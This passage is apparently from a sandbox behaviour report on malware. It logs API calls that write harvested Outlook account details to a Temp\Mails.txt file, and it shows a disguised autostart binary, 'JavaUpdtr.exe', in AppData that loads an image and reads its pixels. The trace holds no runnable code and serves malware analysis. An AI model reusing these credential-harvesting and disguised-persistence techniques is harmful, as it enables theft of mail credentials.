0x18f4f8 [0063.424] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.424] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7981f130, ftCreationTime.dwHighDateTime=0x1d4cef7, ftLastAccessTime.dwLowDateTime=0x97153540, ftLastAccessTime.dwHighDateTime=0x1d4c6a5, ftLastWriteTime.dwLowDateTime=0x97153540, ftLastWriteTime.dwHighDateTime=0x1d4c6a5, nFileSizeHigh=0x0, nFileSizeLow=0x97be, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="R1a4w2XtD8EkdW.bmp", cAlternateFileName="R1A4W2~1.BMP")) returned 1 [0063.424] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.424] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.424] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5a778e0, ftCreationTime.dwHighDateTime=0x1d4d25b, ftLastAccessTime.dwLowDateTime=0xbd200230, ftLastAccessTime.dwHighDateTime=0x1d4d346, ftLastWriteTime.dwLowDateTime=0xbd200230, ftLastWriteTime.dwHighDateTime=0x1d4d346, nFileSizeHigh=0x0, nFileSizeLow=0x17373, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="SbzPMyxqoLr.bmp", cAlternateFileName="SBZPMY~1.BMP")) returned 1 [0063.424] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.424] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.424] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3968c40, ftCreationTime.dwHighDateTime=0x1d4c931, ftLastAccessTime.dwLowDateTime=0xa2b97c10, ftLastAccessTime.dwHighDateTime=0x1d4d06b, ftLastWriteTime.dwLowDateTime=0xa2b97c10, ftLastWriteTime.dwHighDateTime=0x1d4d06b, nFileSizeHigh=0x0, nFileSizeLow=0x5574, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="uhRe.swf", cAlternateFileName="")) returned 1 [0063.424] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.424] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.424] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1f9b7b0, ftCreationTime.dwHighDateTime=0x1d4d536, ftLastAccessTime.dwLowDateTime=0x8d1a3480, ftLastAccessTime.dwHighDateTime=0x1d4ca7b, ftLastWriteTime.dwLowDateTime=0x8d1a3480, ftLastWriteTime.dwHighDateTime=0x1d4ca7b, nFileSizeHigh=0x0, nFileSizeLow=0x13535, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="uTx_TSlE3-96cM_w_Bq2.m4a", cAlternateFileName="UTX_TS~1.M4A")) returned 1 [0063.424] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.424] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.424] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe238d590, ftCreationTime.dwHighDateTime=0x1d4cef2, ftLastAccessTime.dwLowDateTime=0x1ac98a80, ftLastAccessTime.dwHighDateTime=0x1d4c7b9, ftLastWriteTime.dwLowDateTime=0x1ac98a80, ftLastWriteTime.dwHighDateTime=0x1d4c7b9, nFileSizeHigh=0x0, nFileSizeLow=0xbfeb, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="wmjH.mp4", cAlternateFileName="")) returned 1 [0063.424] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.424] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.424] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdafd6c80, ftCreationTime.dwHighDateTime=0x1d4d3e5, ftLastAccessTime.dwLowDateTime=0xb2e88180, ftLastAccessTime.dwHighDateTime=0x1d4ce04, ftLastWriteTime.dwLowDateTime=0xb2e88180, ftLastWriteTime.dwHighDateTime=0x1d4ce04, nFileSizeHigh=0x0, nFileSizeLow=0x3d2d, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="yznMs.pps", cAlternateFileName="")) returned 1 [0063.424] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.424] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.424] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe51fe470, ftCreationTime.dwHighDateTime=0x1d4cbc7, ftLastAccessTime.dwLowDateTime=0x41d3c100, ftLastAccessTime.dwHighDateTime=0x1d4cb91, ftLastWriteTime.dwLowDateTime=0x41d3c100, ftLastWriteTime.dwHighDateTime=0x1d4cb91, nFileSizeHigh=0x0, nFileSizeLow=0x6e5b, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="Z2tpg-.swf", cAlternateFileName="")) returned 1 [0063.424] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.424] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.424] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6917010, ftCreationTime.dwHighDateTime=0x1d4d57d, ftLastAccessTime.dwLowDateTime=0x90f84b70, ftLastAccessTime.dwHighDateTime=0x1d4d523, ftLastWriteTime.dwLowDateTime=0x90f84b70, ftLastWriteTime.dwHighDateTime=0x1d4d523, nFileSizeHigh=0x0, nFileSizeLow=0x4eb8, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="zogyysNu4Ox-31.mp4", cAlternateFileName="ZOGYYS~1.MP4")) returned 1 [0063.424] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.424] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.424] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff399b0, ftCreationTime.dwHighDateTime=0x1d4cbe2, ftLastAccessTime.dwLowDateTime=0x794ce4f0, ftLastAccessTime.dwHighDateTime=0x1d4d47d, ftLastWriteTime.dwLowDateTime=0x794ce4f0, ftLastWriteTime.dwHighDateTime=0x1d4d47d, nFileSizeHigh=0x0, nFileSizeLow=0x17e85, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="_EEV5mhW5iJe3.png", cAlternateFileName="_EEV5M~1.PNG")) returned 1 [0063.424] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.424] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.424] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff399b0, ftCreationTime.dwHighDateTime=0x1d4cbe2, ftLastAccessTime.dwLowDateTime=0x794ce4f0, ftLastAccessTime.dwHighDateTime=0x1d4d47d, ftLastWriteTime.dwLowDateTime=0x794ce4f0, ftLastWriteTime.dwHighDateTime=0x1d4d47d, nFileSizeHigh=0x0, nFileSizeLow=0x17e85, dwReserved0=0x74535c79, dwReserved1=0x2e737261, cFileName="_EEV5mhW5iJe3.png", cAlternateFileName="_EEV5M~1.PNG")) returned 0 [0063.424] FindClose (in: hFindFile=0x2667f0 | out: hFindFile=0x2667f0) returned 1 [0063.425] _strcmpi (_Str1="/nosort", _Str2="/stext") returned -1 [0063.425] _strcmpi (_Str1="/nosort", _Str2="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\Mails.txt") returned -1 [0063.425] qsort (in: _Base=0x1bd6360, _NumOfElements=0x1, _SizeOfElements=0x3a4, _PtFuncCompare=0x40a13a | out: _Base=0x1bd6360) [0063.425] SetCursor (hCursor=0x10007) returned 0x10007 [0063.425] ??2@YAPAXI@Z () returned 0x4af980 [0063.425] ??3@YAXPAX@Z () returned 0x1 [0063.425] CreateFileA (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\Mails.txt" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\mails.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0063.425] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0063.425] SetCursor (hCursor=0x10007) returned 0x10007 [0063.426] strlen (_Str="==================================================") returned 0x32 [0063.426] WriteFile (in: hFile=0x100, lpBuffer=0x18f94c*, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0x18f924, lpOverlapped=0x0 | out: lpBuffer=0x18f94c*, lpNumberOfBytesWritten=0x18f924*=0x32, lpOverlapped=0x0) returned 1 [0063.426] strlen (_Str="\r\n") returned 0x2 [0063.426] WriteFile (in: hFile=0x100, lpBuffer=0x412b1c*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x18f91c, lpOverlapped=0x0 | out: lpBuffer=0x412b1c*, lpNumberOfBytesWritten=0x18f91c*=0x2, lpOverlapped=0x0) returned 1 [0063.426] sprintf (in: _Dest=0x1bd0048, _Format="%-18s: %s\r\n" | out: _Dest="Name : fjuejju\r\n") returned 29 [0063.427] strlen (_Str="Name : fjuejju\r\n") returned 0x1d [0063.427] WriteFile (in: hFile=0x100, lpBuffer=0x1bd0048*, nNumberOfBytesToWrite=0x1d, lpNumberOfBytesWritten=0x18f920, lpOverlapped=0x0 | out: lpBuffer=0x1bd0048*, lpNumberOfBytesWritten=0x18f920*=0x1d, lpOverlapped=0x0) returned 1 [0063.427] LoadStringA (in: hInstance=0x400000, uID=0x38a, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="MS Outlook 2002/2003/2007/2010") returned 0x1e [0063.427] sprintf (in: _Dest=0x1bd0048, _Format="%-18s: %s\r\n" | out: _Dest="Application : MS Outlook 2002/2003/2007/2010\r\n") returned 52 [0063.427] strlen (_Str="Application : MS Outlook 2002/2003/2007/2010\r\n") returned 0x34 [0063.427] WriteFile (in: hFile=0x100, lpBuffer=0x1bd0048*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x18f920, lpOverlapped=0x0 | out: lpBuffer=0x1bd0048*, lpNumberOfBytesWritten=0x18f920*=0x34, lpOverlapped=0x0) returned 1 [0063.427] sprintf (in: _Dest=0x1bd0048, _Format="%-18s: %s\r\n" | out: _Dest="Email : voeimd@djhreuu.uhd\r\n") returned 40 [0063.427] strlen (_Str="Email : voeimd@djhreuu.uhd\r\n") returned 0x28 [0063.427] WriteFile (in: hFile=0x100, lpBuffer=0x1bd0048*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x18f920, lpOverlapped=0x0 | out: lpBuffer=0x1bd0048*, lpNumberOfBytesWritten=0x18f920*=0x28, lpOverlapped=0x0) returned 1 [0063.427] sprintf (in: _Dest=0x1bd0048, _Format="%-18s: %s\r\n" | out: _Dest="Server : dfae\r\n") returned 26 [0063.427] strlen (_Str="Server : dfae\r\n") returned 0x1a [0063.427] WriteFile (in: hFile=0x100, lpBuffer=0x1bd0048*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x18f920, lpOverlapped=0x0 | out: lpBuffer=0x1bd0048*, lpNumberOfBytesWritten=0x18f920*=0x1a, lpOverlapped=0x0) returned 1 [0063.428] sprintf (in: _Dest=0x1bd0048, _Format="%-18s: %s\r\n" | out: _Dest="Server Port : \r\n") returned 22 [0063.428] strlen (_Str="Server Port : \r\n") returned 0x16 [0063.428] WriteFile (in: hFile=0x100, lpBuffer=0x1bd0048*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x18f920, lpOverlapped=0x0 | out: lpBuffer=0x1bd0048*, lpNumberOfBytesWritten=0x18f920*=0x16, lpOverlapped=0x0) returned 1 [0063.428] LoadStringA (in: hInstance=0x400000, uID=0x10, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="No") returned 0x2 [0063.428] sprintf (in: _Dest=0x1bd0048, _Format="%-18s: %s\r\n" | out: _Dest="Secured : No\r\n") returned 24 [0063.428] strlen (_Str="Secured : No\r\n") returned 0x18 [0063.428] WriteFile (in: hFile=0x100, lpBuffer=0x1bd0048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x18f920, lpOverlapped=0x0 | out: lpBuffer=0x1bd0048*, lpNumberOfBytesWritten=0x18f920*=0x18, lpOverlapped=0x0) returned 1 [0063.428] LoadStringA (in: hInstance=0x400000, uID=0x321, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="POP3") returned 0x4 [0063.428] sprintf (in: _Dest=0x1bd0048, _Format="%-18s: %s\r\n" | out: _Dest="Type : POP3\r\n") returned 26 [0063.428] strlen (_Str="Type : POP3\r\n") returned 0x1a [0063.428] WriteFile (in: hFile=0x100, lpBuffer=0x1bd0048*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x18f920, lpOverlapped=0x0 | out: lpBuffer=0x1bd0048*, lpNumberOfBytesWritten=0x18f920*=0x1a, lpOverlapped=0x0) returned 1 [0063.428] sprintf (in: _Dest=0x1bd0048, _Format="%-18s: %s\r\n" | out: _Dest="User : voeimd\r\n") returned 28 [0063.428] strlen (_Str="User : voeimd\r\n") returned 0x1c [0063.428] WriteFile (in: hFile=0x100, lpBuffer=0x1bd0048*, nNumberOfBytesToWrite=0x1c, lpNumberOfBytesWritten=0x18f920, lpOverlapped=0x0 | out: lpBuffer=0x1bd0048*, lpNumberOfBytesWritten=0x18f920*=0x1c, lpOverlapped=0x0) returned 1 [0063.428] sprintf (in: _Dest=0x1bd0048, _Format="%-18s: %s\r\n" | out: _Dest="Password : \r\n") returned 22 [0063.428] strlen (_Str="Password : \r\n") returned 0x16 [0063.428] WriteFile (in: hFile=0x100, lpBuffer=0x1bd0048*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x18f920, lpOverlapped=0x0 | out: lpBuffer=0x1bd0048*, lpNumberOfBytesWritten=0x18f920*=0x16, lpOverlapped=0x0) returned 1 [0063.428] sprintf (in: _Dest=0x1bd0048, _Format="%-18s: %s\r\n" | out: _Dest="Profile : Outlook\r\n") returned 29 [0063.428] strlen (_Str="Profile : Outlook\r\n") returned 0x1d [0063.428] WriteFile (in: hFile=0x100, lpBuffer=0x1bd0048*, nNumberOfBytesToWrite=0x1d, lpNumberOfBytesWritten=0x18f920, lpOverlapped=0x0 | out: lpBuffer=0x1bd0048*, lpNumberOfBytesWritten=0x18f920*=0x1d, lpOverlapped=0x0) returned 1 [0063.428] sprintf (in: _Dest=0x1bd0048, _Format="%-18s: %s\r\n" | out: _Dest="Password Strength : \r\n") returned 22 [0063.428] strlen (_Str="Password Strength : \r\n") returned 0x16 [0063.428] WriteFile (in: hFile=0x100, lpBuffer=0x1bd0048*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x18f920, lpOverlapped=0x0 | out: lpBuffer=0x1bd0048*, lpNumberOfBytesWritten=0x18f920*=0x16, lpOverlapped=0x0) returned 1 [0063.429] sprintf (in: _Dest=0x1bd0048, _Format="%-18s: %s\r\n" | out: _Dest="SMTP Server : grgew\r\n") returned 27 [0063.429] strlen (_Str="SMTP Server : grgew\r\n") returned 0x1b [0063.429] WriteFile (in: hFile=0x100, lpBuffer=0x1bd0048*, nNumberOfBytesToWrite=0x1b, lpNumberOfBytesWritten=0x18f920, lpOverlapped=0x0 | out: lpBuffer=0x1bd0048*, lpNumberOfBytesWritten=0x18f920*=0x1b, lpOverlapped=0x0) returned 1 [0063.429] sprintf (in: _Dest=0x1bd0048, _Format="%-18s: %s\r\n" | out: _Dest="SMTP Server Port : \r\n") returned 22 [0063.429] strlen (_Str="SMTP Server Port : \r\n") returned 0x16 [0063.429] WriteFile (in: hFile=0x100, lpBuffer=0x1bd0048*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x18f920, lpOverlapped=0x0 | out: lpBuffer=0x1bd0048*, lpNumberOfBytesWritten=0x18f920*=0x16, lpOverlapped=0x0) returned 1 [0063.429] strlen (_Str="==================================================") returned 0x32 [0063.429] WriteFile (in: hFile=0x100, lpBuffer=0x18f94c*, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0x18f930, lpOverlapped=0x0 | out: lpBuffer=0x18f94c*, lpNumberOfBytesWritten=0x18f930*=0x32, lpOverlapped=0x0) returned 1 [0063.429] strlen (_Str="\r\n") returned 0x2 [0063.429] WriteFile (in: hFile=0x100, lpBuffer=0x412b1c*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x18f928, lpOverlapped=0x0 | out: lpBuffer=0x412b1c*, lpNumberOfBytesWritten=0x18f928*=0x2, lpOverlapped=0x0) returned 1 [0063.429] strlen (_Str="\r\n") returned 0x2 [0063.429] WriteFile (in: hFile=0x100, lpBuffer=0x412b1c*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x18f920, lpOverlapped=0x0 | out: lpBuffer=0x412b1c*, lpNumberOfBytesWritten=0x18f920*=0x2, lpOverlapped=0x0) returned 1 [0063.429] CloseHandle (hObject=0x100) returned 1 [0063.430] SetCursor (hCursor=0x10007) returned 0x10007 [0063.430] ??3@YAXPAX@Z () returned 0x1 [0063.430] ??3@YAXPAX@Z () returned 0x1 [0063.430] ??3@YAXPAX@Z () returned 0x1 [0063.430] ??3@YAXPAX@Z () returned 0x1 [0063.430] ??3@YAXPAX@Z () returned 0x1 [0063.430] free (_Block=0x1bd4258) [0063.430] ??3@YAXPAX@Z () returned 0x1 [0063.430] free (_Block=0x1bd2150) [0063.430] ??3@YAXPAX@Z () returned 0x1 [0063.430] free (_Block=0x1bd0048) [0063.430] ??3@YAXPAX@Z () returned 0x1 [0063.430] free (_Block=0x4ad878) [0063.430] ??3@YAXPAX@Z () returned 0x1 [0063.430] free (_Block=0x1bd6360) [0063.431] ??3@YAXPAX@Z () returned 0x1 [0063.431] ??3@YAXPAX@Z () returned 0x1 [0063.431] DeleteObject (ho=0x590a0248) returned 1 [0063.431] free (_Block=0x4a36b8) [0063.431] free (_Block=0x4a3ac0) [0063.431] free (_Block=0x4a1350) [0063.431] free (_Block=0x0) [0063.431] free (_Block=0x0) [0063.431] exit (_Code=0) [0063.431] ??3@YAXPAX@Z () returned 0x1 [0063.431] ??3@YAXPAX@Z () returned 0x1 [0063.431] ??3@YAXPAX@Z () returned 0x1 [0063.431] ??3@YAXPAX@Z () returned 0x1 Thread: id = 89 os_tid = 0x8cc Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x8bed000" os_pid = "0x334" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ba6f" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 99 os_tid = 0x798 Thread: id = 100 os_tid = 0x3a0 Thread: id = 101 os_tid = 0x658 Thread: id = 102 os_tid = 0x584 Thread: id = 103 os_tid = 0x728 Thread: id = 104 os_tid = 0x674 Thread: id = 105 os_tid = 0x65c Thread: id = 106 os_tid = 0x144 Thread: id = 107 os_tid = 0x118 Thread: id = 108 os_tid = 0x3ec Thread: id = 109 os_tid = 0x3e8 Thread: id = 110 os_tid = 0x3e0 Thread: id = 111 os_tid = 0x3dc Thread: id = 112 os_tid = 0x3cc Thread: id = 113 os_tid = 0x3c8 Thread: id = 114 os_tid = 0x388 Thread: id = 115 os_tid = 0x384 Thread: id = 116 os_tid = 0x380 Thread: id = 117 os_tid = 0x37c Thread: id = 118 os_tid = 0x364 Thread: id = 119 os_tid = 0x360 Thread: id = 120 os_tid = 0x34c Thread: id = 121 os_tid = 0x338 Thread: id = 127 os_tid = 0x868 Process: id = "7" image_name = "javaupdtr.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\java\\javaupdtr.exe" page_root = "0x7b781000" os_pid = "0x4e8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e2ff" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 128 os_tid = 0x4ec [0112.637] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0112.687] GetVersionExW (in: lpVersionInformation=0x73ec98*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x73ec98*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0112.687] GetLastError () returned 0x0 [0112.688] GetVersionExW (in: lpVersionInformation=0x73ec98*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x73ec98*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0112.688] GetLastError () returned 0x0 [0112.694] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\", nBufferLength=0x105, lpBuffer=0x31e8b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\", lpFilePart=0x0) returned 0x33 [0112.694] GetLastError () returned 0x0 [0112.735] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe", nBufferLength=0x105, lpBuffer=0x31e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe", lpFilePart=0x0) returned 0x40 [0112.735] GetLastError () returned 0x2 [0112.739] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe", nBufferLength=0x105, lpBuffer=0x31e8ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe", lpFilePart=0x0) returned 0x40 [0112.739] GetLastError () returned 0x2 [0112.743] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\", nBufferLength=0x105, lpBuffer=0x31e874, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\", lpFilePart=0x0) returned 0x33 [0112.743] GetLastError () returned 0x2 [0112.748] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\", nBufferLength=0x105, lpBuffer=0x31e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\", lpFilePart=0x0) returned 0x33 [0112.748] GetLastError () returned 0x2 [0112.748] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\", nBufferLength=0x105, lpBuffer=0x31e8ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\", lpFilePart=0x0) returned 0x33 [0112.748] GetLastError () returned 0x2 [0113.887] GetCurrentProcessId () returned 0x4e8 [0113.887] GetLastError () returned 0x8013141b [0113.906] FindAtomW (lpString="GDI+Atom_1256_1") returned 0x0 [0113.906] GetLastError () returned 0x2 [0113.908] AddAtomW (lpString="GDI+Atom_1256_1") returned 0xc000 [0113.909] GetLastError () returned 0x2 [0113.949] GdiplusStartup (in: token=0x123334, input=0x7469e0, output=0x31dc28 | out: token=0x123334, output=0x31dc28) returned 0x0 [0113.966] GetLastError () returned 0x0 [0113.990] GdipLoadImageFromStream (stream=0x200030, image=0x31e428) returned 0x0 [0114.052] GetLastError () returned 0x0 [0114.053] GdipImageForceValidation (image=0x4932230) returned 0x0 [0114.061] GetLastError () returned 0x0 [0114.062] GdipGetImageType (image=0x4932230, type=0x31e404) returned 0x0 [0114.062] GetLastError () returned 0x0 [0114.062] GdipGetImageRawFormat (image=0x4932230, format=0x31e38c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0114.062] GetLastError () returned 0x0 [0114.099] GdipGetImageWidth (image=0x4932230, width=0x31e404) returned 0x0 [0114.099] GetLastError () returned 0x0 [0114.099] GdipGetImageHeight (image=0x4932230, height=0x31e404) returned 0x0 [0114.099] GetLastError () returned 0x0 [0114.100] GdipGetImageHeight (image=0x4932230, height=0x31e404) returned 0x0 [0114.100] GetLastError () returned 0x0 [0114.100] GdipGetImageWidth (image=0x4932230, width=0x31e404) returned 0x0 [0114.100] GetLastError () returned 0x0 [0114.100] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.100] GetLastError () returned 0x0 [0114.100] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.100] GetLastError () returned 0x0 [0114.101] GdipBitmapGetPixel (bitmap=0x4932230, x=0, y=308, color=0x31e3f0) returned 0x0 [0114.102] GetLastError () returned 0x0 [0114.102] GdipGetImageWidth (image=0x4932230, width=0x31e3e0) returned 0x0 [0114.102] GetLastError () returned 0x0 [0114.102] GdipGetImageHeight (image=0x4932230, height=0x31e3e0) returned 0x0 [0114.102] GetLastError () returned 0x0 [0114.102] 